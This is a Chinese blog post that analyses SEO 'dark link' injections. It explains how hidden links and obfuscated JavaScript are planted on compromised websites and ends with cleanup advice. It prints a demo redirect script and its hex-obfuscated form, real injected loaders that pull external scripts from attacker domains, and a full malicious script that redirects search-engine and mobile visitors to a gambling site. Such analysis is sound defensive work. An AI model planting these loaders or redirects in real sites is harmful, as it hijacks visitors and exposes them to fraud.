初识SEO暗链

本文最后更新于 2024年10月22日 下午

前言:暗链的姿势、类型非常的多,不是一篇文章能讲清楚的,这里只是初步认识一下暗链,后续文章会继续深入研究暗链

SEO

简介

SEO(Search Engine Optimization,搜索引擎优化)是一种通过优化网站的结构、内容和其他相关因素,以提高其在搜索引擎结果页面(SERP)中的排名,从而增加网站的可见性和流量的策略。SEO的主要目标是使网站在相关搜索查询中排名更高,从而吸引更多的有机(非付费)流量。

SEO的主要组成部分

简单看看就行

关键词研究

  • 确定与网站内容相关的关键词和短语,这些关键词是用户在搜索时可能使用的。

网站优化

  • 页面优化:包括标题标签、meta描述、URL结构、页面内容优化等。
  • 技术优化:包括网站的加载速度、移动端兼容性、站点地图、robots.txt文件等。

内容优化

  • 创建有价值的、相关的、高质量内容,以满足用户需求并包含目标关键词。

链接建设

  • 内部链接:在网站内创建相关链接,帮助搜索引擎理解网站结构。
  • 外部链接:获取其他网站的链接,以提高网站的权威性和信誉。

用户体验

  • 确保网站易于使用、导航顺畅,并提供良好的用户体验。

本地SEO

  • 针对特定地理位置优化网站,提升本地搜索结果中的排名。

分析与调整

  • 使用工具(如Google Analytics、Google Search Console)跟踪网站的表现,并根据数据不断优化策略。

为什么SEO重要

简单看看就行

  • 提高可见性:在搜索引擎中排名靠前可以使网站更容易被发现。
  • 吸引有机流量:比起付费广告,有机流量通常更具成本效益。
  • 增强用户体验:优化网站的结构和内容可以提高用户体验。
  • 建立品牌信誉:在搜索引擎结果中排名靠前可以提升品牌的信誉和可信度。

SEO暗链

简介

SEO暗链(也称为隐形链或隐蔽链接)是一种在网页上隐藏的链接,用于提高网页在搜索引擎中的排名。这种技术试图通过将链接藏在用户无法看到的位置或以其他方式隐藏链接,以增加页面的关键词密度和链接权重,从而提升搜索引擎排名。

常见的SEO暗链策略包括

隐藏文本链接

  • 将链接的文本颜色设置为与背景相同,用户无法看到,但搜索引擎可以识别。

CSS隐藏

  • 使用CSS属性(如display: nonevisibility: hidden)将链接隐藏在页面上,但搜索引擎仍能抓取。

使用HTML注释

  • 将链接放置在HTML注释中,普通用户看不到,搜索引擎可以读取。

隐藏在小字体

  • 将链接的字体大小设置为极小,以至于用户无法看到。

重复内容链接

  • 在网页上嵌入大量的链接或重复的关键词,增加页面的关键词密度。

为什么不推荐使用SEO暗链

搜索引擎惩罚

搜索引擎(如Google)会检测到这些隐蔽的链接和欺诈行为,可能会对网站进行惩罚,如降低排名或完全删除索引。

影响网站信誉

使用这种策略可能会损害网站的信誉,对用户体验造成负面影响。

违反搜索引擎指南

这种做法通常违反了搜索引擎的质量指南,长期来看,对网站的SEO效果和信誉不利。

暗链分类

JS引入型暗链

通过修改网站title,引入外部JavaScript代码来将暗链植入被害网站,当用户通过搜索引擎搜索特定关键字时(你懂的)进入该网站,通过引入的外部JavaScript代码实现跳转到非法网站。这种暗链是本文研究的重点。

html隐藏型暗链

通过css或者JavaScript代码隐藏暗链,通常是通过position为负数,或者将display设置为none等方式来隐藏,目的是为了提升非法网站的SEO排名,但是这种暗链已经越来越少了,现在的暗链大部分都是JS引入型暗链直接跳转,故此种手法本文不做研究

暗链是怎么被植入的

XSS(跨站脚本攻击)

  • 注入恶意脚本:黑客利用XSS漏洞将恶意脚本注入到网页中。这些脚本可能会动态插入暗链,或将现有的链接隐藏在用户无法看到的地方。
  • 攻击用户:通过XSS攻击获取用户权限或控制,进一步将暗链植入网站内容中。

SQL注入

  • 修改数据库:通过SQL注入漏洞,黑客可以修改网站的数据库,插入包含暗链的内容。比如,他们可以修改网页的内容,或添加隐藏的链接。

网站管理漏洞

  • 管理员面板:如果网站的后台管理系统存在安全漏洞,黑客可能会通过这些漏洞直接插入暗链或修改现有内容。
  • 文件上传漏洞:黑客利用文件上传漏洞上传恶意文件,这些文件可能包含插入暗链的脚本或代码。

插件和主题漏洞

  • CMS插件和主题:在使用CMS(如WordPress、Drupal等)时,某些插件或主题可能存在安全漏洞。黑客可以利用这些漏洞在网站中插入暗链。

服务器配置和安全问题

  • 配置错误:不当的服务器配置可能会允许未授权的访问或修改网站内容,从而被用来插入暗链。
  • 缺乏安全更新:服务器软件或网站框架未及时更新可能存在已知的安全漏洞,黑客可能利用这些漏洞插入暗链。

暗链对访问者的危害

恶意软件感染

  • 传播病毒:暗链可能会将访问者引导到含有恶意软件的网站,这些网站可能会自动下载并安装病毒、木马或其他恶意程序,危害计算机安全。
  • 恶意广告:有时暗链会导致访问者看到恶意广告,这些广告可能会诱导点击,并感染设备。

数据泄露

  • 钓鱼攻击:暗链可能将用户引导到伪装成合法网站的钓鱼网站,窃取个人信息、账户凭证、信用卡信息等敏感数据。
  • 信息收集:某些暗链可能会将用户引导到收集个人信息的页面,这些页面可能会未经用户同意收集其数据。

用户体验恶化

  • 无关内容:暗链通常将用户引导到与其原始搜索或访问意图无关的内容,影响用户的浏览体验。
  • 加载缓慢:访问恶意网站或低质量的网站可能会导致页面加载缓慢,影响用户体验。

隐私侵犯

  • 追踪用户活动:某些暗链可能会引导用户访问含有追踪脚本的网站,这些脚本会收集用户的浏览习惯和其他个人信息,用于未经授权的数据分析或广告定位。

财务风险

  • 诈骗:暗链可能引导用户到诈骗网站,诱导用户进行金融交易或购买虚假产品,从而造成财务损失。
  • 点击欺诈:某些恶意广告可能会通过暗链隐藏在网页中,进行点击欺诈,消耗用户的网络流量或广告预算。

法律风险

  • 不合规内容:访问者可能会被引导到包含非法或不合规内容的网站,这可能导致法律问题或道德困扰。

暗链Demo

1
2
3
4
5
<script>
window.onload = function(){
var hacker_site = "http://x1lys.github.io"; //要跳转到的恶意网站
window.location.href=hacker_site;
</script>

这是一段用来跳转网站的js代码,暗中跳转到指定的黑客的恶意网站,好进行下一步的恶意活动

但是会有各种暗链检验工具等等其他检测机制,黑客们肯定不会就直接这样植入暗链,往往会进行一些混淆加密压缩,编码等等来试图躲过一些暗链检测

比如,js混淆编码一下

image

1
2
3
4
5
6
7
<script>
window["\x6f\x6e\x6c\x6f\x61\x64"] = function() {
var bGyhWG1 = "\x68\x74\x74\x70\x3a\x2f\x2f\x78\x31\x6c\x79\x73\x2e\x67\x69\x74\x68\x75\x62\x2e\x69\x6f";
window.location.href = bGyhWG1;
};
window.onload = window["\x6f\x6e\x6c\x6f\x61\x64"];
</script>

访问就跳转到我的博客网站

image

image

暗链案例

真实情况要比Demo复杂得多

案例一

调用widnows对象中的document.write方法将外部的JS代码引入到当前页面,通常还会配合使用16进制编码来实现隐藏的目的

image

这个案例中,黑客将网站的title、keywords、description都换成了10进制的unicode编码,这样的确能起到一些隐藏的作用,10进制unicode编码在浏览器解析的时候会还原成字符

1
<title>&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#32;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#21382;&#21490;&#35760;&#24405;&#32;&#112;&#107;&#49;&#48;&#32593;&#19978;&#25237;&#27880;&#45;&#21271;&#20140;&#112;&#107;&#49;&#48;&#30452;&#25773;&#32593;</title> <meta name="keywords" content="&#21271;&#20140;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#32467;&#26524;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#25237;&#27880;&#32593;&#31449;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#24320;&#25143;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#25237;&#27880;&#44;&#21271;&#20140;&#36187;&#36710;&#35270;&#39057;&#32593;" /> <meta name="description" content="&#12304;&#49;&#49;&#48;&#48;&#107;&#97;&#105;&#46;&#99;&#111;&#109;&#12305;&#32463;&#21271;&#20140;&#31119;&#24425;&#23448;&#32593;&#25480;&#26435;&#44;&#25552;&#20379;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#21382;&#21490;&#35760;&#24405;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#35270;&#39057;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32467;&#26524;&#26597;&#35810;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#22312;&#32447;&#25237;&#27880;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#24320;&#25143;&#44;&#26368;&#19987;&#19994;&#30340;&#21271;&#20140;&#36187;&#36710;&#30452;&#25773;&#32593;&#33;"/>

解码

image

1
<script type="text/javascript"> window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x6f\x32\x36\x38\x2e\x73\x75\x2e\x62\x63\x65\x62\x6f\x73\x2e\x63\x6f\x6d\x2f\x31\x31\x30\x30\x6b\x61\x69\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'); </script><script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title = "XXXXX科技有限公司"}</script>

可以看到他调用了JavaScript中的windows对象,然后使用的方法都使用了16进制的编码,因为JavaScript是支持16进制编码的,这样可以躲过一部分简单的检测工具,确实具有一些隐蔽性;后面调用navigator对象中的useragent方法判断用户访问的useragent,如果不是通过百度跳转过来的就将title设置为正常的title。我们将上面这段代码中的16进制编码丢到16进制解密工具中。

image

这样可以看到,他其实是使用的window对象中的document.wirte方法,将一段外部JavaScript代码写入到了当前的页面,这样就完成了一段暗链的植入。

案例二

发现网站具有元数据meta标签(有助于SEO和在搜索结果中显示的摘要)被窜改为非法活动信息的特征,也就是这些关键词将会被搜索引擎收录索引,

image

植入的js代码

image

1
2
3
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="xxxxxxx中心"}</script>
<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,119,116,102,56,56,56,46,110,101,116,47,121,105,115,104,111,117,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt);</script>
</script>

这段代码使用了 JavaScript 中的 String.fromCharCode() 方法来动态生成 HTML 标签。用于隐蔽地插入或执行 JavaScript 代码,为了避开某些检测或防御机制,解码后:

1
<script src="https://wtf888.net/yishou.js"></script>

暗中请求了黑客自写的恶意js文件,那么我们去追踪一下代码和整个恶意流程,看看这些暗链到底在搞什么鬼,访问https://wtf888.net/yishou.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?5430651aa058e0825f678886c2571c16";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();

(function () {
/*閻ф儳瀹抽幒銊┾偓浣峰敩閻拷*/
var bp = document.createElement('script');
bp.src = '//push.zhanzhang.baidu.com/push.js';
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
/*360閹恒劑鈧椒鍞惍锟 */
var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
document.write('<script src="' + src + '" id="sozz"><\/script>');
})();

(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
})();

(function(){
var src = "https://jspassport.ssl.qhimg.com/11.0.1.js?d182b3f28525f2db83acfaaf6e696dba";
document.write('<script src="' + src + '" id="sozz"><\/script>');
})();


(function(){
var canonicalURL, curProtocol;
//Get the tag
var x=document.getElementsByTagName("link");
//Find the last canonical URL
if(x.length > 0){
for (i=0;i<x.length;i++){
if(x[i].rel.toLowerCase() == 'canonical' && x[i].href){
canonicalURL=x[i].href;
}
}
}
//Get protocol
if (!canonicalURL){
curProtocol = window.location.protocol.split(':')[0];
}
else{
curProtocol = canonicalURL.split(':')[0];
}
//Get current URL if the canonical URL does not exist
if (!canonicalURL) canonicalURL = window.location.href;
//Assign script content. Replace current URL with the canonical URL
!function(){var e=/([http|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,r=canonicalURL,t=document.referrer;if(!e.test(r)){var n=(String(curProtocol).toLowerCase() === 'https')?"https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif":"//api.share.baidu.com/s.gif";t?(n+="?r="+encodeURIComponent(document.referrer),r&&(n+="&l="+r)):r&&(n+="?l="+r);var i=new Image;i.src=n}}(window);})();

(function (e) {
function t(e) {
var t = location.href,
n = t.split("").reverse(),
r = e.split(""),
i = [];
for (var s = 0, o = 16; s < o; s++) i.push(r[s] + (n[s] || ""));
return i.join("")
}
var n = /([http|https]:\/\/[a-zA-Z0-9\_\.]+\.so\.com)/gi,
r = e.location.href;
if (r && !n.test(r) && window.navigator.appName) {
var i = "https://s.360.cn/so/zz.gif",
o = "d182b3f28525f2db83acfaaf6e696dba",
u = t(o),
a = new Image;
r && (i += "?url=" + encodeURIComponent(r)), o && (i += "&sid=" + o), u && (i += "&token=" + u), o && (a.src = i)
}
})(window);
! function () {
var e = /([http|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,
r = window.location.href,
t = document.referrer;
if (!e.test(r)) {
var o = "https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif";
t ? (o += "?r=" + encodeURIComponent(document.referrer), r && (o += "&l=" + r)) : r && (o += "?l=" + r);
var i = new Image;
i.src = o
}
}(window);


var sp_regexps =
/\.(yahoo|google|baidu|soso|sogou|bing|sou|so|360|haosou|youdao|sooule|easou|aliyun|sina|jike|Yisou|uc|sm)\./gi;
var sp_whereis = window.location.referrer;
try {
sp_whereis = top.document.referrer;
} catch (e) {}
try {
sp_whereis = window.parent.document.referrer;
} catch (e) {}
var sp_domains = window.location.host;
try {
sp_domains = top.document.domain;
} catch (e) {}
try {
sp_domains = window.parent.document.domain;
} catch (e) {}
if (sp_regexps.test(sp_whereis)) {
window.location.href = 'https://ldy722niu8.cc:22200';
parent.window.opener.location = 'https://ldy722niu8.cc:22200';
}

function browserRedirect() {
var sUserAgent = navigator.userAgent.toLowerCase();
var bIsIpad = sUserAgent.match(/ipad/i) == 'ipad';
var bIsIphoneOs = sUserAgent.match(/iphone os/i) == 'iphone os';
var bIsMidp = sUserAgent.match(/midp/i) == 'midp';
var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == 'rv:1.2.3.4';
var bIsAndroid = sUserAgent.match(/android/i) == 'android';
var bIsCE = sUserAgent.match(/windows ce/i) == 'windows ce';
var bIsWM = sUserAgent.match(/windows mobile/i) == 'windows mobile';
if (!(bIsIphoneOs || bIsMidp || bIsAndroid || bIsCE || bIsWM)) {
} else {
window.location.href = 'https://ldy722niu8.cc:22200';
}
}
browserRedirect();

var s=document.referrer;
var str=window.location.href;
if(s.indexOf("b"+"ai"+"du")>0 || s.indexOf("s"+"ogou")>0|| s.indexOf("s"+"m")>0 || s.indexOf("360")>0 || s.indexOf("s"+"o")>0|| s.indexOf("go"+"o"+"gle")>0 || s.indexOf("bing")>0 || s.indexOf("youdao")>0 )
window.location.href="https://ldy722niu8.cc:22200";

这段恶意js代码做了些什么呢?简单分析,不做细致讨论:

恶意js分析

引入外部脚本

  • 第一部分代码动态地加载了百度统计(hm.baidu.com/hm.js)和推送(push.zhanzhang.baidu.com/push.js)的脚本。
  • 另外的部分也引入了一些与百度、360相关的脚本

这么做目的是做一些访问数据统计分析了解用户需求和行为、推送非法广告、内容优化

重定向

  • 一些脚本检查当前页面的 URL 和 referrer,若发现特定的搜索引擎域名(如百度、360、Google等),则将页面重定向到 https://ldy722niu8.cc:22200

将用户重定向到非法菠菜网站,诱使用户在这些网站上进行DB

访问看看,https://ldy722niu8.cc:22200:

image

好家伙,果不其然,把人梅西都贴上去了哈哈哈哈

浏览器检测

  • 有代码根据用户的浏览器类型(如 iPad、iPhone、Android 等)进行重定向,指向同一个 URL https://ldy722niu8.cc:22200

隐蔽的恶意代码

  • 某些部分通过 document.write 和动态创建 <script> 标签来加载外部脚本。这些脚本可能会对网页执行进一步的操作。

反向代理检查

  • 代码中还包括了一些用于判断来源和代理的逻辑,并根据情况进行重定向。

暗链修复

1. 识别暗链

  • 手动检查:浏览网站的所有页面和链接,特别是那些内容较多或较旧的页面,寻找任何隐藏的链接。
  • 使用工具:利用网站扫描工具(如Screaming Frog SEO SpiderBurp SuiteOWASP ZAP)检查站点上的所有链接,寻找隐藏或异常的链接。
  • 查看源代码:检查网站的源代码和数据库内容,特别是在动态生成内容的地方,寻找可能的暗链。

2. 清理和修复

  • 删除暗链:从网站的源代码、数据库和所有相关位置中删除识别出的暗链。
  • 修复漏洞:检查并修复可能导致暗链被插入的安全漏洞,如XSS、SQL注入等。
  • 更新内容管理系统:如果使用CMS(如WordPress、Joomla),确保所有插件和主题都是最新的,并检查它们是否存在安全漏洞。

3. 增强安全措施

  • 应用安全更新:确保所有网站软件、插件和主题都是最新的,以修补已知漏洞。
  • 实施输入验证:加强对所有用户输入的验证和清理,防止恶意代码注入。
  • 使用Web应用防火墙(WAF):部署WAF来检测和阻止常见的攻击模式,减少安全漏洞。